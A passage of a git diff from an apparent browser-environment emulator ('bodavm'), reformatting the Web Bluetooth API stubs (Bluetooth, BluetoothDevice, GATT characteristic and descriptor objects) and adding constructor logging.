-bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Bluetooth'], "Bluetooth"); -bodavm.memory.globalobj['Bluetooth'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Bluetooth'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Bluetooth', "getAvailability", {configurable:true, enumerable:true, writable:true, value:function getAvailability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Bluetooth'].prototype, "Bluetooth", "getAvailability", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Bluetooth', "requestDevice", {configurable:true, enumerable:true, writable:true, value:function requestDevice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Bluetooth'].prototype, "Bluetooth", "requestDevice", arguments)}},'prototype'); +// Bluetooth对象 + +bodavm.memory.globalobj['Bluetooth'] = function Bluetooth() { + console.log_copy('Bluetooth 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Bluetooth)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Bluetooth'], "Bluetooth"); +bodavm.memory.globalobj['Bluetooth'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Bluetooth'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Bluetooth', "getAvailability", { + configurable: true, + enumerable: true, + writable: true, + value: function getAvailability() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Bluetooth'].prototype, "Bluetooth", "getAvailability", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Bluetooth', "requestDevice", { + configurable: true, + enumerable: true, + writable: true, + value: function requestDevice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Bluetooth'].prototype, "Bluetooth", "requestDevice", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BluetoothCharacteristicProperties.js b/env_xbb_lastest_jsdom/env/BluetoothCharacteristicProperties.js index 7cf54b0d..bad1e456 100644 --- a/env_xbb_lastest_jsdom/env/BluetoothCharacteristicProperties.js +++ b/env_xbb_lastest_jsdom/env/BluetoothCharacteristicProperties.js @@ -1,12 +1,89 @@ -// BluetoothCharacteristicProperties对象 -bodavm.memory.globalobj['BluetoothCharacteristicProperties'] = function BluetoothCharacteristicProperties(){if (!(this instanceof BluetoothCharacteristicProperties)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothCharacteristicProperties'], "BluetoothCharacteristicProperties"); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "broadcast", {configurable:true, enumerable:true, get:function broadcast (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "broadcast_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "read", {configurable:true, enumerable:true, get:function read (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "read_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "writeWithoutResponse", {configurable:true, enumerable:true, get:function writeWithoutResponse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "writeWithoutResponse_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "write", {configurable:true, enumerable:true, get:function write (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "write_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "notify", {configurable:true, enumerable:true, get:function notify (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "notify_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "indicate", {configurable:true, enumerable:true, get:function indicate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "indicate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "authenticatedSignedWrites", {configurable:true, enumerable:true, get:function authenticatedSignedWrites (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "authenticatedSignedWrites_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "reliableWrite", {configurable:true, enumerable:true, get:function reliableWrite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "reliableWrite_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "writableAuxiliaries", {configurable:true, enumerable:true, get:function writableAuxiliaries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "writableAuxiliaries_get", arguments)}, set:undefined},'prototype'); +// BluetoothCharacteristicProperties对象 + +bodavm.memory.globalobj['BluetoothCharacteristicProperties'] = function BluetoothCharacteristicProperties() { + console.log_copy('BluetoothCharacteristicProperties 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothCharacteristicProperties)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothCharacteristicProperties'], "BluetoothCharacteristicProperties"); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "broadcast", { + configurable: true, + enumerable: true, + get: function broadcast() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "broadcast_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "read", { + configurable: true, + enumerable: true, + get: function read() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "read_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "writeWithoutResponse", { + configurable: true, + enumerable: true, + get: function writeWithoutResponse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "writeWithoutResponse_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "write", { + configurable: true, + enumerable: true, + get: function write() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "write_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "notify", { + configurable: true, + enumerable: true, + get: function notify() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "notify_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "indicate", { + configurable: true, + enumerable: true, + get: function indicate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "indicate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "authenticatedSignedWrites", { + configurable: true, + enumerable: true, + get: function authenticatedSignedWrites() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "authenticatedSignedWrites_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "reliableWrite", { + configurable: true, + enumerable: true, + get: function reliableWrite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "reliableWrite_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothCharacteristicProperties', "writableAuxiliaries", { + configurable: true, + enumerable: true, + get: function writableAuxiliaries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothCharacteristicProperties'].prototype, "BluetoothCharacteristicProperties", "writableAuxiliaries_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BluetoothDevice.js b/env_xbb_lastest_jsdom/env/BluetoothDevice.js index edf9efc7..d538f9b4 100644 --- a/env_xbb_lastest_jsdom/env/BluetoothDevice.js +++ b/env_xbb_lastest_jsdom/env/BluetoothDevice.js @@ -1,9 +1,53 @@ -// BluetoothDevice对象 -bodavm.memory.globalobj['BluetoothDevice'] = function BluetoothDevice(){if (!(this instanceof BluetoothDevice)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothDevice'], "BluetoothDevice"); -bodavm.memory.globalobj['BluetoothDevice'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BluetoothDevice'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BluetoothDevice', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothDevice', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothDevice', "gatt", {configurable:true, enumerable:true, get:function gatt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "gatt_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothDevice', "ongattserverdisconnected", {configurable:true, enumerable:true, get:function ongattserverdisconnected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "ongattserverdisconnected_get", arguments)}, set:function ongattserverdisconnected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "ongattserverdisconnected_set", arguments)}},'prototype'); +// BluetoothDevice对象 + +bodavm.memory.globalobj['BluetoothDevice'] = function BluetoothDevice() { + console.log_copy('BluetoothDevice 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothDevice)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothDevice'], "BluetoothDevice"); +bodavm.memory.globalobj['BluetoothDevice'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BluetoothDevice'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BluetoothDevice', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothDevice', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothDevice', "gatt", { + configurable: true, + enumerable: true, + get: function gatt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "gatt_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothDevice', "ongattserverdisconnected", { + configurable: true, + enumerable: true, + get: function ongattserverdisconnected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "ongattserverdisconnected_get", arguments); + }, + set: function ongattserverdisconnected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothDevice'].prototype, "BluetoothDevice", "ongattserverdisconnected_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTCharacteristic.js b/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTCharacteristic.js index 67450d5b..c517b4c5 100644 --- a/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTCharacteristic.js +++ b/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTCharacteristic.js @@ -1,18 +1,125 @@ -// BluetoothRemoteGATTCharacteristic对象 -bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'] = function BluetoothRemoteGATTCharacteristic(){if (!(this instanceof BluetoothRemoteGATTCharacteristic)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'], "BluetoothRemoteGATTCharacteristic"); -bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "service", {configurable:true, enumerable:true, get:function service (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "service_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "uuid", {configurable:true, enumerable:true, get:function uuid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "uuid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "properties", {configurable:true, enumerable:true, get:function properties (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "properties_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "value_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "oncharacteristicvaluechanged", {configurable:true, enumerable:true, get:function oncharacteristicvaluechanged (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "oncharacteristicvaluechanged_get", arguments)}, set:function oncharacteristicvaluechanged (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "oncharacteristicvaluechanged_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "getDescriptor", {configurable:true, enumerable:true, writable:true, value:function getDescriptor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "getDescriptor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "getDescriptors", {configurable:true, enumerable:true, writable:true, value:function getDescriptors (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "getDescriptors", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "readValue", {configurable:true, enumerable:true, writable:true, value:function readValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "readValue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "startNotifications", {configurable:true, enumerable:true, writable:true, value:function startNotifications (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "startNotifications", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "stopNotifications", {configurable:true, enumerable:true, writable:true, value:function stopNotifications (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "stopNotifications", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValue", {configurable:true, enumerable:true, writable:true, value:function writeValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValueWithResponse", {configurable:true, enumerable:true, writable:true, value:function writeValueWithResponse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValueWithResponse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValueWithoutResponse", {configurable:true, enumerable:true, writable:true, value:function writeValueWithoutResponse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValueWithoutResponse", arguments)}},'prototype'); +// BluetoothRemoteGATTCharacteristic对象 + +bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'] = function BluetoothRemoteGATTCharacteristic() { + console.log_copy('BluetoothRemoteGATTCharacteristic 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothRemoteGATTCharacteristic)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'], "BluetoothRemoteGATTCharacteristic"); +bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "service", { + configurable: true, + enumerable: true, + get: function service() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "service_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "uuid", { + configurable: true, + enumerable: true, + get: function uuid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "uuid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "properties", { + configurable: true, + enumerable: true, + get: function properties() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "properties_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "oncharacteristicvaluechanged", { + configurable: true, + enumerable: true, + get: function oncharacteristicvaluechanged() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "oncharacteristicvaluechanged_get", arguments); + }, + set: function oncharacteristicvaluechanged() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "oncharacteristicvaluechanged_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "getDescriptor", { + configurable: true, + enumerable: true, + writable: true, + value: function getDescriptor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "getDescriptor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "getDescriptors", { + configurable: true, + enumerable: true, + writable: true, + value: function getDescriptors() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "getDescriptors", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "readValue", { + configurable: true, + enumerable: true, + writable: true, + value: function readValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "readValue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "startNotifications", { + configurable: true, + enumerable: true, + writable: true, + value: function startNotifications() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "startNotifications", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "stopNotifications", { + configurable: true, + enumerable: true, + writable: true, + value: function stopNotifications() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "stopNotifications", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValue", { + configurable: true, + enumerable: true, + writable: true, + value: function writeValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValueWithResponse", { + configurable: true, + enumerable: true, + writable: true, + value: function writeValueWithResponse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValueWithResponse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTCharacteristic', "writeValueWithoutResponse", { + configurable: true, + enumerable: true, + writable: true, + value: function writeValueWithoutResponse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic'].prototype, "BluetoothRemoteGATTCharacteristic", "writeValueWithoutResponse", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTDescriptor.js b/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTDescriptor.js index 45af4bd7..9abc2c66 100644 --- a/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTDescriptor.js +++ b/env_xbb_lastest_jsdom/env/BluetoothRemoteGATTDescriptor.js @@ -1,8 +1,57 @@ -// BluetoothRemoteGATTDescriptor对象 -bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'] = function BluetoothRemoteGATTDescriptor(){if (!(this instanceof BluetoothRemoteGATTDescriptor)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'], "BluetoothRemoteGATTDescriptor"); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "characteristic", {configurable:true, enumerable:true, get:function characteristic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "characteristic_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "uuid", {configurable:true, enumerable:true, get:function uuid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "uuid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "value_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "readValue", {configurable:true, enumerable:true, writable:true, value:function readValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "readValue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "writeValue", {configurable:true, enumerable:true, writable:true, value:function writeValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "writeValue", arguments)}},'prototype'); +// BluetoothRemoteGATTDescriptor对象 + +bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'] = function BluetoothRemoteGATTDescriptor() { + console.log_copy('BluetoothRemoteGATTDescriptor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BluetoothRemoteGATTDescriptor)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'], "BluetoothRemoteGATTDescriptor"); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "characteristic", { + configurable: true, + enumerable: true, + get: function characteristic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "characteristic_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "uuid", { + configurable: true, + enumerable: true, + get: function uuid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "uuid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BluetoothRemoteGATTDescriptor', "readValue", { + configurable: true, + enumerable: true, + writable: true, + value: function readValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor'].prototype, "BluetoothRemoteGATTDescriptor", "readValue", arguments); + } +}, 'prototype'); 